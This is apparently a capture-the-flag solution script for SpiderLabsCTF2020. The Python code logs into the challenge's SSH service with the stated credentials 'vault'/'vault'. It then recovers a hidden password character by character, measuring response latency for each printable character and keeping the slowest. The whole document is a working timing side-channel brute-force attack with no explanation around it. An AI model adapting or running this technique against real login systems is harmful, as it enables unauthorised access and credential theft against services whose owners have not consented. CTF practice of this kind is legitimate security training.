Two Set of Credentials exploit script for SpiderLabsCTF2020

two_set_of_credentials.py

import paramiko
import sys
import string
import datetime


def test_password(password):
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect('spiderlabsctf.com', username='vault', password='vault', port=7171)
        buff = b""
        s = ssh.invoke_shell()
        s.setblocking(1)
        s.send(f'{password}\n'.encode())
        a = datetime.datetime.now()
        empty_counter = 0
        while (not buff.endswith(b'system\r\n')):
            resp = s.recv(64)
            buff += resp
        b = datetime.datetime.now()
        # millis = int(round(time.time() * 1000))
        s.close()
        return (b - a).total_seconds() * 1000
    except Exception:
        raise


base = "L"
for i in range(0,12):
        latencies = []
        for char in string.printable[:-6]:
            average = 0
            for j in range(0,8):
                char = char.rstrip()
                char = char.rstrip("\t")
                payload = base + char
                time = test_password(payload.ljust(12,"A"))
                average += time
            average = average/8
            print(f"{payload.ljust(12,'A')} -- {average}")
            latencies.append({"char": char , "delay":average})

        latencies = sorted(latencies, key=lambda k: k['delay']) 
        base += latencies[-1]['char']
        print(f"[*] Guessed: {base}")